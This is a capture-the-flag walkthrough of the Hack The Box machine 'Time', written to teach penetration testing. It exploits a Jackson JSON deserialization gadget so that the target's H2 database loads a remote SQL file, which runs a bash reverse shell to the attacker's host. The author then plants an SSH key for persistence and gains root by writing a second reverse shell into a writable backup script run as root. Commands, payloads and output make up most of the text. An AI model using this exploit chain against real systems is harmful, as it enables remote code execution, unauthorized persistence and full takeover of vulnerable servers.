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Time Writeup
Introduction :
Time is a Medium Linux box released back in October 2020.
Time is a Medium Linux box released back in October 2020.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~]
→ nmap -vvv -p- 10.10.10.214 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 22/tcp on 10.10.10.214
Discovered open port 80/tcp on 10.10.10.214
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~]
→ nmap -sCV -p22,80 10.10.10.214
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-02 11:08 CEST
Nmap scan report for 10.10.10.214
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.40 seconds
Now our nmap scan picked up port 80 so let's take a look at it:
The website is basically a simple json parser, however when we take a look at the 'validate' option, giving it some random string makes it error out and reveals out the backend that's being used:
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'random': was expecting ('true', 'false' or 'null')
So now we know that this is jackson core json parser, so if we google for jackson CVEs we stumble upon this jackson gadgets blogpost which details how we can get the remote host to download a SQL file containing SHELLEXEC system commands:
So let's prepare our payload:
[terminal 1]
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
→ vim inject.sql
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
→ cat inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.8/9001 0>&1')
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
[ 10.10.14.8/23 ] [ /dev/pts/16 ] [~/HTB/Bucket]
→ nc -lvnp 9001
listening on [any] 9001 ...
And to get the machine to download the sql file from us we will use the following:
[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:9090/inject.sql'\"}]
#make sure to correct the payload like so:
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:9090/inject.sql'"}]
So let's try it:
click process and you will see the following:
So we got a reverse shell as the pericles user, before we continue let's upgrade our reverse shell to a fully interactive TTY:
pericles@time:/var/www/html$ which python python3 curl wget
which python python3 curl wget
/usr/bin/python3
/usr/bin/curl
/usr/bin/wget
pericles@time:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
pericles@time:/var/www/html$ ^Z
[1] + 23451 suspended nc -lvnp 9001
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Time]
→ stty raw -echo ; fg
[1] + 23451 continued nc -lvnp 9001
export TERM=screen-256color
pericles@time:/var/www/html$ export SHELL=bash
pericles@time:/var/www/html$ stty rows 50 columns 200
pericles@time:/var/www/html$ reset
pericles@time:/var/www/html$ cd ~
pericles@time:/home/pericles$ cat user.txt
32XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we got the user flag!
Now in order to find a path to the root user, let's run linpeas.sh on the box after we login via SSH for ease of use:
[terminal 1]
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
→ cat ~/.ssh/mahakaliVM.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali
[terminal 2]
pericles@time:/home/pericles$ mkdir ~/.ssh/
pericles@time:/home/pericles$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali' >> ~/.ssh/authorized_keys
[terminal 1]
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Time]
→ ssh pericles@10.10.10.214 -i ~/.ssh/mahakaliVM
The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established.
ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 03 Jul 2021 03:58:19 PM UTC
System load: 0.0
Usage of /: 17.2% of 27.43GB
Memory usage: 12%
Swap usage: 0%
Processes: 232
Users logged in: 0
IPv4 address for ens160: 10.10.10.214
IPv6 address for ens160: dead:beef::250:56ff:feb9:31f0
168 updates can be installed immediately.
47 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5
pericles@time:~$
[terminal 3]
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
→ ls -lash linpeas.sh
452K -rw-r--r-- 1 nothing nothing 452K Jul 1 20:22 linpeas.sh
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 1]
pericles@time:~$ wget http://10.10.10.214:9090/linpeas.sh -O /tmp/peas.sh
--2021-07-03 16:00:28-- http://10.10.10.214:9090/linpeas.sh
Connecting to 10.10.10.214:9090... failed: Connection refused.
pericles@time:~$ wget http://10.10.14.8:9090/linpeas.sh -O /tmp/peas.sh
--2021-07-03 16:00:41-- http://10.10.14.8:9090/linpeas.sh
Connecting to 10.10.14.8:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 462687 (452K) [text/x-sh]
Saving to: ‘/tmp/peas.sh’
/tmp/peas.sh 100%[========================================================================================================================================>] 451.84K 192KB/s in 2.3s
2021-07-03 16:00:45 (192 KB/s) - ‘/tmp/peas.sh’ saved [462687/462687]
pericles@time:~$ chmod +x /tmp/peas.sh
pericles@time:~$ /tmp/peas.sh
Let linpeas run a bit and then once it's done we scroll through the output to see the following hint:
When we take a closer look at that script which is supposed to be ran as the root user, we see that it is actually owned by our user:
pericles@time:~$ ls -lash /usr/bin/timer_backup.sh
4.0K -rwxrw-rw- 1 pericles pericles 88 Jul 3 16:05 /usr/bin/timer_backup.sh
Netcat is on the box too, so let's put a simple bash reverse shell payload in it:
[terminal 1]
pericles@time:~$ which nano
/usr/bin/nano
pericles@time:~$ nano /usr/bin/timer_backup.sh
pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
#zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
bash -c "bash -i >& /dev/tcp/10.10.14.8/9002 0>&1"
[terminal 2]
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
→ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.214] 36874
bash: cannot set terminal process group (33199): Inappropriate ioctl for device
bash: no job control in this shell
root@time:/# cat /root/root.txt
cat /root/root.txt
d1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And there you go! We managed to get the reverse shell connection as root and get the root flag.
Here we can see the progress graph :
Until there is Nothing left.
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